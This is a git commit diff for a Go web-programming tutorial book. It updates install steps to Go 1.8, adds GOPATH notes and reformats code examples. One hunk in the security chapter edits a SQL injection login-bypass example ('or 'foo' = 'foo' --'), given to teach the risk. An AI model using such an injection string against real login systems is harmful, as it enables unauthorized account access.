Merge branch 'master' of github.com:astaxie/build-web-application-with-golang

This commit is contained in:
加华 m2shad0w
2017-04-17 19:28:45 +08:00
53 changed files with 1428 additions and 1329 deletions

3
.gitignore vendored
View File

@@ -6,3 +6,6 @@ _book
*.epub
*.pdf
.DS_Store
.gitignore
.vscode
.git

View File

@@ -32,7 +32,7 @@ If the user inputs a user name or password as:
Then our SQL becomes the following:
SELECT * FROM user WHERE username='myuser' or 'foo'=='foo' --'' AND password='xxx'
SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx'
In SQL, anything after `--` is a comment. Thus, inserting the `--` as the attacker did above alters the query in a fatal way, allowing an attacker to successfully login as a user without a valid password.

View File

@@ -76,15 +76,15 @@ A 64-bit operating system will show the following:
### Mac
Go to the [download page](https://golang.org/dl/), choose `go1.4.2.darwin-386.pkg` for 32-bit systems and `go1.7.4.darwin-amd64.pkg` for 64-bit systems. Going all the way to the end by clicking "next", `~/go/bin` will be added to your system's $PATH after you finish the installation. Now open the terminal and type `go`. You should see the same output shown in figure 1.1.
Go to the [download page](https://golang.org/dl/), choose `go1.4.2.darwin-386.pkg` (The later version has no 32-bit download.)for 32-bit systems and `go1.8.darwin-amd64.pkg` for 64-bit systems. Going all the way to the end by clicking "next", `~/go/bin` will be added to your system's $PATH after you finish the installation. Now open the terminal and type `go`. You should see the same output shown in figure 1.1.
### Linux
Go to the [download page](https://golang.org/dl/), choose `go1.7.4.linux-386.tar.gz` for 32-bit systems and `go1.7.4.linux-amd64.tar.gz` for 64-bit systems. Suppose you want to install Go in the `$GO_INSTALL_DIR` path. Uncompress the `tar.gz` to your chosen path using the command `tar zxvf go1.7.4.linux-amd64.tar.gz -C $GO_INSTALL_DIR`. Then set your $PATH with the following: `export PATH=$PATH:$GO_INSTALL_DIR/go/bin`. Now just open the terminal and type `go`. You should now see the same output displayed in figure 1.1.
Go to the [download page](https://golang.org/dl/), choose `go1.8.linux-386.tar.gz` for 32-bit systems and `go1.8.linux-amd64.tar.gz` for 64-bit systems. Suppose you want to install Go in the `$GO_INSTALL_DIR` path. Uncompress the `tar.gz` to your chosen path using the command `tar zxvf go1.8.linux-amd64.tar.gz -C $GO_INSTALL_DIR`. Then set your $PATH with the following: `export PATH=$PATH:$GO_INSTALL_DIR/go/bin`. Now just open the terminal and type `go`. You should now see the same output displayed in figure 1.1.
### Windows
Go to the [download page](https://golang.org/dl/), choose `go1.7.4.windows-386.msi` for 32-bit systems and `go1.7.4.windows-amd64.msi` for 64-bit systems. Going all the way to the end by clicking "next", `c:/go/bin` will be added to `path`. Now just open a command line window and type `go`. You should now see the same output displayed in figure 1.1.
Go to the [download page](https://golang.org/dl/), choose `go1.8.windows-386.msi` for 32-bit systems and `go1.8.windows-amd64.msi` for 64-bit systems. Going all the way to the end by clicking "next", `c:/go/bin` will be added to `path`. Now just open a command line window and type `go`. You should now see the same output displayed in figure 1.1.
## Use third-party tools
@@ -96,8 +96,8 @@ GVM is a Go multi-version control tool developed by a third-party, like rvm for
Then we install Go using the following commands:
gvm install go1.7.4
gvm use go1.7.4
gvm install go1.8
gvm use go1.8
After the process has finished, you're all set.
@@ -109,16 +109,19 @@ Ubuntu is the most popular desktop release version of Linux. It uses `apt-get` t
sudo apt-get update
sudo apt-get install golang-stable
###wget
### wget
```sh
wget https://storage.googleapis.com/golang/go1.7.4.linux-amd64.tar.gz
sudo tar -xzf go1.7.4.linux-amd64.tar.gz -C /usr/local
export PATH=PATH:/usr/local/go/binexportGOROOT=HOME/go
export PATH=PATH:GOROOT/bin
export GOPATH=HOME/gowork
```
wget https://storage.googleapis.com/golang/go1.8.linux-amd64.tar.gz
sudo tar -xzf go1.8.linux-amd64.tar.gz -C /usr/local
# Go environment
export GOROOT=/usr/local/go
export GOBIN=$GOROOT/bin
export PATH=$PATH:$GOBIN
export GOPATH=HOME/gopath
```
Starting from go 1.8,The GOPATH environment variable now has a default value if it is unset. It defaults to $HOME/go on Unix and %USERPROFILE%/go on Windows.
### Homebrew
Homebrew is a software management tool commonly used in Mac to manage packages. Just type the following commands to install Go.

View File

@@ -4,15 +4,17 @@
Go takes a unique approach to manage the code files with the introduction of a `$GOPATH` directory which contains all the go code in the machine. Note that this is different from the `$GOROOT` environment variable which states where go is installed on the machine. We have to define the $GOPATH variable before using the language, in *nix systems there is a file called `.bashrc` we need to append the below export statement to the file. The concept behind gopath is a novel one, where we can link to any go code at any instant of time without ambiguity.
Starting from go 1.8, the GOPATH environment variable now has a default value if it is unset. It defaults to $HOME/go on Unix and %USERPROFILE%/go on Windows.
In Unix-like systems, the variable should be used like this:
export GOPATH=/home/apple/mygo
In Windows, you need to create a new environment variable called GOPATH, then set its value to `c:\mygo`( ***This value depends on where your workspace is located*** )
It's OK to have more than one path (workspace) in $GOPATH, but remember that you have to use `:`(`;` in Windows) to break them up. At this point, `go get` will save the content to your first path in $GOPATH. So it is highly recommended to not have multiples versions, the worst case is to create a folder by the name of your project right inside $GOPATH, it breaks everything that the creators were wishing to change in programming with the creation of go language because when you create a folder inside $GOPATH you will reference your packages as directly as <packagename>, and this breaks all the applications which will import your package because the `go get` won't find your package anywhere. So please follow conventions, there is a reason conventions are created
It's OK to have more than one path (workspace) in $GOPATH, but remember that you have to use `:`(`;` in Windows) to break them up. At this point, `go get` will save the content to your first path in $GOPATH. It is highly recommended to not have multiples versions, the worst case is to create a folder by the name of your project right inside $GOPATH, it breaks everything that the creators were wishing to change in programming with the creation of go language because when you create a folder inside $GOPATH you will reference your packages as directly as <packagename>, and this breaks all the applications which will import your package because the `go get` won't find your package. Please follow conventions, there is a reason conventions are created.
In $GOPATH, you must have three folders as follows.
In $GOPATH, you must have three folders as follows:
- `src` for source files whose suffix is .go, .c, .g, .s.
- `pkg` for compiled files whose suffix is .a.
@@ -72,6 +74,8 @@ Create a new application package called `mathapp`.
Write the following content to main.go.
```Go
//$GOPATH/src/mathapp/main.go source code.
package main
@@ -83,7 +87,8 @@ Write the following content to main.go.
func main() {
fmt.Printf("Hello, world. Sqrt(2) = %v\n", mymath.Sqrt(2))
}
```
To compile this application, you need to switch to the application directory, which in this case is `$GOPATH/src/mathapp`, then execute the `go install` command. Now you should see an executable file called `mathapp` was generated in the directory `$GOPATH/bin/`. To run this program, use the `./mathapp` command. You should see the following content in your terminal.
Hello world. Sqrt(2) = 1.414213562373095
@@ -114,9 +119,9 @@ After executing the above commands, the directory structure should look like fol
Actually, `go get` clones source code to the $GOPATH/src of the local file system, then executes `go install`.
You can use remote packages in the same way that we use local packages.
```Go
import "github.com/astaxie/beedb"
```
## Directory complete structure
If you've followed all of the above steps, your directory structure should now look like the following.

View File

@@ -468,7 +468,7 @@ Atom is an awesome text editor released as open source cross platform, built on
Download: https://atom.io/
##Gogland
## Gogland
Gogland is the codename for a new commercial IDE by JetBrains aimed at providing an ergonomic environment for Go development.

View File

@@ -1,6 +1,7 @@
## What makes Go different from other languages?
The Go programming language was created with one goal in mind, to be able to build scalable web-applications for large scale audiences in a large team. So that is the reason they made the language as standardized as possible, hence the `gofmt` tool and the strict usage guidelines to the language was for the sake of not having two factions in the developer base, in other languages there are religious wars on where to keep the opening brace?
```java
public static void main() {
@@ -11,6 +12,7 @@ The Go programming language was created with one goal in mind, to be able to bui
{
}
```
or for python should we use 4 spaces or 6 spaces or a tab or two tabs and other user preferences.
While this might seem to be a shallow problem at the top, but when the codebase grows and more and more people are working on the same code base, then it is difficult to maintain the code's "beauty", if you know python then you might be aware of PEP8, which is a set of guidelines about how to write elegant code. We live in a world where robots can drive a car, so we shouldn't just write code, we should write elegant code.
@@ -40,7 +42,7 @@ Before we start building an application in Go, we need to learn how to write a s
According to international practice, before you learn how to program in some languages, you will want to know how to write a program to print "Hello world".
Are you ready? Let's Go!
```Go
package main
import "fmt"
@@ -48,7 +50,7 @@ Are you ready? Let's Go!
func main() {
fmt.Printf("Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちは世界\n")
}
```
It prints following information.
Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちは世界
@@ -83,10 +85,11 @@ Each go file is in some package, and that package should be a distinct folder in
the thing here is that when your code is using some static files or something else, then you ought to run the binary from the root of the application as we see in the second line above, I am running the `main` binary *outside* the main package, sometimes you might wonder why your application isn't working then this might be one of the possible problems, please keep this in mind.
One thing you will notice here is that go doesn't see to use semi colons to end a statement, well, it does, just there is a minor catch, the programmer isn't expected to put semi colons, the compiler adds semi colons to the gocode when it compiles which is the reason that this (thankfully!) is a syntax error
```Go
func main ()
{
}
```
because the compiler adds a semi colon at the end of `main()` which is a syntax error and as stated above, it helps avoid religious wars, i wish they combine `vim` and `emacs` and create a universal editor which'll help save some more wars! But for now we'll learn Go.
## Conclusion

View File

@@ -7,118 +7,119 @@ In this section, we are going to teach you how to define constants, variables wi
There are many forms of syntax that can be used to define variables in Go.
The keyword `var` is the basic form to define variables, notice that Go puts the variable type `after` the variable name.
```Go
// define a variable with name “variableName” and type "type"
var variableName type
```
Define multiple variables.
```Go
// define three variables which types are "type"
var vname1, vname2, vname3 type
```
Define a variable with initial value.
```Go
// define a variable with name “variableName”, type "type" and value "value"
var variableName type = value
```
Define multiple variables with initial values.
```Go
/*
Define three variables with type "type", and initialize their values.
vname1 is v1, vname2 is v2, vname3 is v3
*/
var vname1, vname2, vname3 type = v1, v2, v3
```
Do you think that it's too tedious to define variables use the way above? Don't worry, because the Go team has also found
this to be a problem. Therefore if you want to define variables with initial values, we can just omit the variable type,
so the code will look like this instead:
```Go
/*
Define three variables without type "type", and initialize their values.
vname1 is v1vname2 is v2vname3 is v3
*/
var vname1, vname2, vname3 = v1, v2, v3
```
Well, I know this is still not simple enough for you. Let's see how we fix it.
```Go
/*
Define three variables without type "type" and without keyword "var", and initialize their values.
vname1 is v1vname2 is v2vname3 is v3
*/
vname1, vname2, vname3 := v1, v2, v3
```
Now it looks much better. Use `:=` to replace `var` and `type`, this is called a brief statement. But wait, it has one limitation: this form can only be used inside of functions. You will get compile errors if you try to use it outside of function bodies. Therefore, we usually use `var` to define global variables.
`_` (blank) is a special variable name. Any value that is given to it will be ignored. For example, we give `35` to `b`, and discard `34`.( ***This example just show you how it works. It looks useless here because we often use this symbol when we get function return values.*** )
```Go
_, b := 34, 35
```
If you don't use variables that you've defined in your program, the compiler will give you compilation errors. Try to compile the following code and see what happens.
```Go
package main
func main() {
var i int
}
```
## Constants
So-called constants are the values that are determined during compile time and you cannot change them during runtime. In Go, you can use number, boolean or string as types of constants.
Define constants as follows.
```Go
const constantName = value
// you can assign type of constants if it's necessary
const Pi float32 = 3.1415926
```
More examples.
```Go
const Pi = 3.1415926
const i = 10000
const MaxThread = 10
const prefix = "astaxie_"
```
## Elementary types
### Boolean
In Go, we use `bool` to define a variable as boolean type, the value can only be `true` or `false`, and `false` will be the default value. ( ***You cannot convert variables' type between number and boolean!*** )
```Go
// sample code
var isActive bool // global variable
var enabled, disabled = true, false // omit type of variables
// sample code
var isActive bool // global variable
var enabled, disabled = true, false // omit type of variables
func test() {
var available bool // local variable
valid := false // brief statement of variable
available = true // assign value to variable
}
func test() {
var available bool // local variable
valid := false // brief statement of variable
available = true // assign value to variable
}
```
### Numerical types
Integer types include both signed and unsigned integer types. Go has `int` and `uint` at the same time, they have same length, but specific length depends on your operating system. They use 32-bit in 32-bit operating systems, and 64-bit in 64-bit operating systems. Go also has types that have specific length including `rune`, `int8`, `int16`, `int32`, `int64`, `byte`, `uint8`, `uint16`, `uint32`, `uint64`. Note that `rune` is alias of `int32` and `byte` is alias of `uint8`.
One important thing you should know that you cannot assign values between these types, this operation will cause compile errors.
```Go
var a int8
var b int32
c := a + b
```
Although int32 has a longer length than int8, and has the same type as int, you cannot assign values between them. ( ***c will be asserted as type `int` here*** )
Float types have the `float32` and `float64` types and no type called `float`. The latter one is the default type if using brief statement.
That's all? No! Go supports complex numbers as well. `complex128` (with a 64-bit real and 64-bit imaginary part) is the default type, if you need a smaller type, there is one called `complex64` (with a 32-bit real and 32-bit imaginary part). Its form is `RE+IMi`, where `RE` is real part and `IM` is imaginary part, the last `i` is the imaginary number. There is a example of complex number.
```Go
var c complex64 = 5+5i
//output: (5+5i)
fmt.Printf("Value is: %v", c)
```
### String
We just talked about how Go uses the UTF-8 character set. Strings are represented by double quotes `""` or backticks ``` `` ```.
```Go
// sample code
var frenchHello string // basic form to define string
var emptyString string = "" // define a string with empty string
@@ -127,49 +128,49 @@ We just talked about how Go uses the UTF-8 character set. Strings are represente
japaneseHello := "Ohaiou"
frenchHello = "Bonjour" // basic form of assign values
}
```
It's impossible to change string values by index. You will get errors when you compile the following code.
```Go
var s string = "hello"
s[0] = 'c'
```
What if I really want to change just one character in a string? Try the following code.
```Go
s := "hello"
c := []byte(s) // convert string to []byte type
c[0] = 'c'
s2 := string(c) // convert back to string type
fmt.Printf("%s\n", s2)
```
You use the `+` operator to combine two strings.
```Go
s := "hello,"
m := " world"
a := s + m
fmt.Printf("%s\n", a)
```
and also.
```Go
s := "hello"
s = "c" + s[1:] // you cannot change string values by index, but you can get values instead.
fmt.Printf("%s\n", s)
```
What if I want to have a multiple-line string?
```Go
m := `hello
world`
```
``` ` ``` will not escape any characters in a string.
### Error types
Go has one `error` type for purpose of dealing with error messages. There is also a package called `errors` to handle errors.
```Go
err := errors.New("emit macho dwarf: elf header corrupted")
if err != nil {
fmt.Print(err)
}
```
### Underlying data structure
The following picture comes from an article about [Go data structure](http://research.swtch.com/godata) in [Russ Cox's Blog](http://research.swtch.com/). As you can see, Go utilizes blocks of memory to store data.
@@ -185,7 +186,7 @@ Figure 2.1 Go underlying data structure
If you want to define multiple constants, variables or import packages, you can use the group form.
Basic form.
```Go
import "fmt"
import "os"
@@ -196,9 +197,9 @@ Basic form.
var i int
var pi float32
var prefix string
```
Group form.
```Go
import(
"fmt"
"os"
@@ -215,13 +216,13 @@ Group form.
pi float32
prefix string
)
```
Unless you assign the value of constant is `iota`, the first value of constant in the group `const()` will be `0`. If following constants don't assign values explicitly, their values will be the same as the last one. If the value of last constant is `iota`, the values of following constants which are not assigned are `iota` also.
### iota enumerate
Go has one keyword called `iota`, this keyword is to make `enum`, it begins with `0`, increased by `1`.
```Go
const(
x = iota // x == 0
y = iota // y == 1
@@ -235,7 +236,7 @@ Go has one keyword called `iota`, this keyword is to make `enum`, it begins with
const (
e, f, g = iota, iota, iota // e=0,f=0,g=0 values of iota are same in one line.
)
```
### Some rules
The reason that Go is concise because it has some default behaviors.
@@ -248,11 +249,11 @@ The reason that Go is concise because it has some default behaviors.
### array
`array` is an array obviously, we define one as follows.
```Go
var arr [n]type
```
in `[n]type`, `n` is the length of the array, `type` is the type of its elements. Like other languages, we use `[]` to get or set element values within arrays.
```Go
var arr [10]int // an array of type [10]int
arr[0] = 42 // array is 0-based
arr[1] = 13 // assign value to element
@@ -260,11 +261,11 @@ in `[n]type`, `n` is the length of the array, `type` is the type of its elements
// get element value, it returns 42
fmt.Printf("The last element is %d\n", arr[9])
//it returns default value of 10th element in this array, which is 0 in this case.
```
Because length is a part of the array type, `[3]int` and `[4]int` are different types, so we cannot change the length of arrays. When you use arrays as arguments, functions get their copies instead of references! If you want to use references, you may want to use `slice`. We'll talk about later.
It's possible to use `:=` when you define arrays.
```Go
a := [3]int{1, 2, 3} // define an int array with 3 elements
b := [10]int{1, 2, 3}
@@ -272,15 +273,15 @@ It's possible to use `:=` when you define arrays.
//The rest of them use the default value 0.
c := [...]int{4, 5, 6} // use `…` to replace the length parameter and Go will calculate it for you.
```
You may want to use arrays as arrays' elements. Let's see how to do this.
```Go
// define a two-dimensional array with 2 elements, and each element has 4 elements.
doubleArray := [2][4]int{[4]int{1, 2, 3, 4}, [4]int{5, 6, 7, 8}}
// The declaration can be written more concisely as follows.
easyArray := [2][4]int{{1, 2, 3, 4}, {5, 6, 7, 8}}
```
Array underlying data structure.
![](images/2.2.array.png?raw=true)
@@ -292,18 +293,18 @@ Figure 2.2 Multidimensional array mapping relationship
In many situations, the array type is not a good choice -for instance when we don't know how long the array will be when we define it. Thus, we need a "dynamic array". This is called `slice` in Go.
`slice` is not really a `dynamic array`. It's a reference type. `slice` points to an underlying `array` whose declaration is similar to `array`, but doesn't need length.
```Go
// just like defining an array, but this time, we exclude the length.
var fslice []int
```
Then we define a `slice`, and initialize its data.
```Go
slice := []byte {'a', 'b', 'c', 'd'}
```
`slice` can redefine existing slices or arrays. `slice` uses `array[i:j]` to slice, where `i` is
the start index and `j` is end index, but notice that `array[j]` will not be sliced since the length
of the slice is `j-i`.
```Go
// define an array with 10 elements whose types are bytes
var ar = [10]byte {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'}
@@ -317,7 +318,7 @@ of the slice is `j-i`.
// 'b' is another slice of array ar
b = ar[3:5]
// now 'b' has elements ar[3] and ar[4]
```
Notice the differences between `slice` and `array` when you define them. We use `[]` to let Go
calculate length but use `[]` to define slice only.
@@ -334,7 +335,7 @@ slice has some convenient operations.
- You can use `ar[:]` to slice whole array, reasons are explained in first two statements.
More examples pertaining to `slice`
```Go
// define an array
var array = [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'}
// define two slices
@@ -351,7 +352,7 @@ More examples pertaining to `slice`
bSlice = aSlice[:3] // bSlice contains aSlice[0], aSlice[1], aSlice[2], so it has d,e,f
bSlice = aSlice[0:5] // slice could be expanded in range of cap, now bSlice contains d,e,f,g,h
bSlice = aSlice[:] // bSlice has same elements as aSlice does, which are d,e,f,g
```
`slice` is a reference type, so any changes will affect other variables pointing to the same slice or array.
For instance, in the case of `aSlice` and `bSlice` above, if you change the value of an element in `aSlice`,
`bSlice` will be changed as well.
@@ -361,10 +362,10 @@ For instance, in the case of `aSlice` and `bSlice` above, if you change the valu
- A pointer that points to where `slice` starts.
- The length of `slice`.
- Capacity, the length from start index to end index of `slice`.
```Go
Array_a := [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'}
Slice_a := Array_a[2:5]
```
The underlying data structure of the code above as follows.
![](images/2.2.slice2.png?raw=true)
@@ -389,7 +390,7 @@ this happens, other slices pointing to the old array will not be affected.
Let's see some code. The 'set' and 'get' values in `map` are similar to `slice`, however the index in `slice` can only be
of type 'int' while `map` can use much more than that: for example `int`, `string`, or whatever you want. Also, they are
all able to use `==` and `!=` to compare values.
```Go
// use string as the key type, int as the value type, and `make` initialize it.
var numbers map[string] int
// another way to define map
@@ -400,7 +401,7 @@ all able to use `==` and `!=` to compare values.
fmt.Println("The third number is: ", numbers["three"]) // get values
// It prints: The third number is: 3
```
Some notes when you use map.
- `map` is disorderly. Everytime you print `map` you will get different results. It's impossible to get values by `index` -you have to use `key`.
@@ -411,7 +412,7 @@ Some notes when you use map.
You can use form `key:val` to initialize map's values, and `map` has built-in methods to check if the `key` exists.
Use `delete` to delete an element in `map`.
```Go
// Initialize a map
rating := map[string]float32 {"C":5, "Go":4.5, "Python":4.5, "C++":2 }
// map has two return values. For the second return value, if the key doesn't
@@ -424,15 +425,15 @@ Use `delete` to delete an element in `map`.
}
delete(rating, "C") // delete element with key "c"
```
As I said above, `map` is a reference type. If two `map`s point to same underlying data,
any change will affect both of them.
```Go
m := make(map[string]string)
m["Hello"] = "Bonjour"
m1 := m
m1["Hello"] = "Salut" // now the value of m["hello"] is Salut
```
### make, new
`make` does memory allocation for built-in models, such as `map`, `slice`, and `channel`, while `new` is for types'
@@ -458,7 +459,7 @@ The following picture shows how `new` and `make` are different.
Figure 2.5 Underlying memory allocation of make and new
Zero-value does not mean empty value. It's the value that variables default to in most cases. Here is a list of some zero-values.
```Go
int 0
int8 0
int32 0
@@ -470,7 +471,7 @@ Zero-value does not mean empty value. It's the value that variables default to i
float64 0 //length is 8 byte
bool false
string ""
```
## Links
- [Directory](preface.md)

View File

@@ -11,15 +11,15 @@ The greatest invention in programming is flow control. Because of them, you are
`if` will most likely be the most common keyword in your programs. If it meets the conditions, then it does something and it does something else if not.
`if` doesn't need parentheses in Go.
```Go
if x > 10 {
fmt.Println("x is greater than 10")
} else {
fmt.Println("x is less than or equal to 10")
}
```
The most useful thing concerning `if` in Go is that it can have one initialization statement before the conditional statement. The scope of the variables defined in this initialization statement are only available inside the block of the defining `if`.
```Go
// initialize x, then check if x greater than
if x := computedValue(); x > 10 {
fmt.Println("x is greater than 10")
@@ -29,9 +29,9 @@ The most useful thing concerning `if` in Go is that it can have one initializati
// the following code will not compile
fmt.Println(x)
```
Use if-else for multiple conditions.
```Go
if integer == 3 {
fmt.Println("The integer is equal to 3")
} else if integer < 3 {
@@ -39,11 +39,11 @@ Use if-else for multiple conditions.
} else {
fmt.Println("The integer is greater than 3")
}
```
### goto
Go has a `goto` keyword, but be careful when you use it. `goto` reroutes the control flow to a previously defined `label` within the body of same code block.
```Go
func myFunc() {
i := 0
Here: // label ends with ":"
@@ -51,21 +51,21 @@ Go has a `goto` keyword, but be careful when you use it. `goto` reroutes the con
i++
goto Here // jump to label "Here"
}
```
The label name is case sensitive.
### for
`for` is the most powerful control logic in Go. It can read data in loops and iterative operations, just like `while`.
```Go
for expression1; expression2; expression3 {
//...
}
```
`expression1`, `expression2` and `expression3` are all expressions, where `expression1` and `expression3` are variable definitions or return values from functions, and `expression2` is a conditional statement. `expression1` will be executed once before looping, and `expression3` will be executed after each loop.
Examples are more useful than words.
```Go
package main
import "fmt"
@@ -77,25 +77,25 @@ Examples are more useful than words.
fmt.Println("sum is equal to ", sum)
}
// Printsum is equal to 45
```
Sometimes we need multiple assignments, but Go doesn't have the `,` operator, so we use parallel assignment like `i, j = i + 1, j - 1`.
We can omit `expression1` and `expression3` if they are not necessary.
```Go
sum := 1
for ; sum < 1000; {
sum += sum
}
```
Omit `;` as well. Feel familiar? Yes, it's identical to `while`.
```Go
sum := 1
for sum < 1000 {
sum += sum
}
```
There are two important operations in loops which are `break` and `continue`. `break` jumps out of the loop, and `continue` skips the current loop and starts the next one. If you have nested loops, use `break` along with labels.
```Go
for index := 10; index>0; index-- {
if index == 5{
break // or continue
@@ -104,14 +104,14 @@ There are two important operations in loops which are `break` and `continue`. `b
}
// break prints 10、9、8、7、6
// continue prints 10、9、8、7、6、4、3、2、1
```
`for` can read data from `slice` and `map` when it is used together with `range`.
```Go
for k,v:=range map {
fmt.Println("map's key:",k)
fmt.Println("map's val:",v)
}
```
Because Go supports multi-value returns and gives compile errors when you don't use values that were defined, you may want to use `_` to discard certain return values.
for _, v := range map{
@@ -121,7 +121,7 @@ Because Go supports multi-value returns and gives compile errors when you don't
### switch
Sometimes you may find that you are using too many `if-else` statements to implement some logic, which may make it difficult to read and maintain in the future. This is the perfect time to use the `switch` statement to solve this problem.
```Go
switch sExpr {
case expr1:
some instructions
@@ -132,9 +132,9 @@ Sometimes you may find that you are using too many `if-else` statements to imple
default:
other code
}
```
The type of `sExpr`, `expr1`, `expr2`, and `expr3` must be the same. `switch` is very flexible. Conditions don't have to be constants and it executes from top to bottom until it matches conditions. If there is no statement after the keyword `switch`, then it matches `true`.
```Go
i := 10
switch i {
case 1:
@@ -146,9 +146,9 @@ The type of `sExpr`, `expr1`, `expr2`, and `expr3` must be the same. `switch` is
default:
fmt.Println("All I know is that i is an integer")
}
```
In the fifth line, we put many values in one `case`, and we don't need to add the `break` keyword at the end of `case`'s body. It will jump out of the switch body once it matched any case. If you want to continue to matching more cases, you need to use the`fallthrough` statement.
```Go
integer := 6
switch integer {
case 4:
@@ -169,24 +169,24 @@ In the fifth line, we put many values in one `case`, and we don't need to add th
default:
fmt.Println("default case")
}
```
This program prints the following information.
```Go
integer <= 6
integer <= 7
integer <= 8
default case
```
## Functions
Use the `func` keyword to define a function.
```Go
func funcName(input1 type1, input2 type2) (output1 type1, output2 type2) {
// function body
// multi-value return
return value1, value2
}
```
We can extrapolate the following information from the example above.
- Use keyword `func` to define a function `funcName`.
@@ -198,31 +198,33 @@ We can extrapolate the following information from the example above.
- If the function has return values, you have to use the `return` statement somewhere in the body of the function.
Let's see one practical example. (calculate maximum value)
```Go
package main
package main
import "fmt"
import "fmt"
// return greater value between a and b
func max(a, b int) int {
if a > b {
return a
}
return b
// return greater value between a and b
func max(a, b int) int {
if a > b {
return a
}
return b
}
func main() {
x := 3
y := 4
z := 5
func main() {
x := 3
y := 4
z := 5
max_xy := max(x, y) // call function max(x, y)
max_xz := max(x, z) // call function max(x, z)
max_xy := max(x, y) // call function max(x, y)
max_xz := max(x, z) // call function max(x, z)
fmt.Printf("max(%d, %d) = %d\n", x, y, max_xy)
fmt.Printf("max(%d, %d) = %d\n", x, z, max_xz)
fmt.Printf("max(%d, %d) = %d\n", y, z, max(y,z)) // call function here
}
fmt.Printf("max(%d, %d) = %d\n", x, y, max_xy)
fmt.Printf("max(%d, %d) = %d\n", x, z, max_xz)
fmt.Printf("max(%d, %d) = %d\n", y, z, max(y, z)) // call function here
}
```
In the above example, there are two arguments in the function `max`, their types are both `int` so the first type can be omitted. For instance, `a, b int` instead of `a int, b int`. The same rules apply for additional arguments. Notice here that `max` only has one return value, so we only need to write the type of its return value -this is the short form of writing it.
### Multi-value return
@@ -230,71 +232,73 @@ In the above example, there are two arguments in the function `max`, their types
One thing that Go is better at than C is that it supports multi-value returns.
We'll use the following example here.
```Go
package main
package main
import "fmt"
import "fmt"
// return results of A + B and A * B
func SumAndProduct(A, B int) (int, int) {
return A+B, A*B
}
// return results of A + B and A * B
func SumAndProduct(A, B int) (int, int) {
return A + B, A * B
}
func main() {
x := 3
y := 4
func main() {
x := 3
y := 4
xPLUSy, xTIMESy := SumAndProduct(x, y)
xPLUSy, xTIMESy := SumAndProduct(x, y)
fmt.Printf("%d + %d = %d\n", x, y, xPLUSy)
fmt.Printf("%d * %d = %d\n", x, y, xTIMESy)
}
fmt.Printf("%d + %d = %d\n", x, y, xPLUSy)
fmt.Printf("%d * %d = %d\n", x, y, xTIMESy)
}
```
The above example returns two values without names -you have the option of naming them also. If we named the return values, we would just need to use `return` to return the values since they are initialized in the function automatically. Notice that if your functions are going to be used outside of the package, which means your function names start with a capital letter, you'd better write complete statements for `return`; it makes your code more readable.
```Go
func SumAndProduct(A, B int) (add int, multiplied int) {
add = A+B
multiplied = A*B
return
}
```
### Variadic functions
Go supports functions with a variable number of arguments. These functions are called "variadic", which means the function allows an uncertain numbers of arguments.
```Go
func myfunc(arg ...int) {}
```
`arg …int` tells Go that this is a function that has variable arguments. Notice that these arguments are type `int`. In the body of function, the `arg` becomes a `slice` of `int`.
```Go
for _, n := range arg {
fmt.Printf("And the number is: %d\n", n)
}
```
### Pass by value and pointers
When we pass an argument to the function that was called, that function actually gets the copy of our variables so any change will not affect to the original variable.
Let's see one example in order to prove what i'm saying.
```Go
package main
package main
import "fmt"
import "fmt"
// simple function to add 1 to a
func add1(a int) int {
a = a+1 // we change value of a
return a // return new value of a
}
// simple function to add 1 to a
func add1(a int) int {
a = a + 1 // we change value of a
return a // return new value of a
}
func main() {
x := 3
func main() {
x := 3
fmt.Println("x = ", x) // should print "x = 3"
fmt.Println("x = ", x) // should print "x = 3"
x1 := add1(x) // call add1(x)
x1 := add1(x) // call add1(x)
fmt.Println("x+1 = ", x1) // should print "x+1 = 4"
fmt.Println("x = ", x) // should print "x = 3"
}
fmt.Println("x+1 = ", x1) // should print "x+1 = 4"
fmt.Println("x = ", x) // should print "x = 3"
}
```
Can you see that? Even though we called `add1` with `x`, the origin value of `x` doesn't change.
The reason is very simple: when we called `add1`, we gave a copy of `x` to it, not the `x` itself.
@@ -302,122 +306,126 @@ The reason is very simple: when we called `add1`, we gave a copy of `x` to it, n
Now you may ask how I can pass the real `x` to the function.
We need use pointers here. We know variables are stored in memory and they have some memory addresses. So, if we want to change the value of a variable, we must change its memory address. Therefore the function `add1` has to know the memory address of `x` in order to change its value. Here we pass `&x` to the function, and change the argument's type to the pointer type `*int`. Be aware that we pass a copy of the pointer, not copy of value.
```Go
package main
package main
import "fmt"
import "fmt"
// simple function to add 1 to a
func add1(a *int) int {
*a = *a+1 // we changed value of a
return *a // return new value of a
}
// simple function to add 1 to a
func add1(a *int) int {
*a = *a + 1 // we changed value of a
return *a // return new value of a
}
func main() {
x := 3
func main() {
x := 3
fmt.Println("x = ", x) // should print "x = 3"
fmt.Println("x = ", x) // should print "x = 3"
x1 := add1(&x) // call add1(&x) pass memory address of x
x1 := add1(&x) // call add1(&x) pass memory address of x
fmt.Println("x+1 = ", x1) // should print "x+1 = 4"
fmt.Println("x = ", x) // should print "x = 4"
}
fmt.Println("x+1 = ", x1) // should print "x+1 = 4"
fmt.Println("x = ", x) // should print "x = 4"
}
```
Now we can change the value of `x` in the functions. Why do we use pointers? What are the advantages?
- Allows us to use more functions to operate on one variable.
- Low cost by passing memory addresses (8 bytes), copy is not an efficient way, both in terms of time and space, to pass variables.
- `string`, `slice` and `map` are reference types, so they use pointers when passing to functions by default. (Attention: If you need to change the length of `slice`, you have to pass pointers explicitly)
- `channel`, `slice` and `map` are reference types, so they use pointers when passing to functions by default. (Attention: If you need to change the length of `slice`, you have to pass pointers explicitly)
### defer
Go has a well designed keyword called `defer`. You can have many `defer` statements in one function; they will execute in reverse order when the program executes to the end of functions. In the case where the program opens some resource files, these files would have to be closed before the function can return with errors. Let's see some examples.
func ReadWrite() bool {
file.Open("file")
```Go
func ReadWrite() bool {
file.Open("file")
// Do some work
if failureX {
file.Close()
return false
}
if failureY {
file.Close()
return false
}
file.Close()
return true
if failureX {
file.Close()
return false
}
if failureY {
file.Close()
return false
}
file.Close()
return true
}
```
We saw some code being repeated several times. `defer` solves this problem very well. It doesn't only help you to write clean code but also makes your code more readable.
func ReadWrite() bool {
file.Open("file")
defer file.Close()
if failureX {
return false
}
if failureY {
return false
}
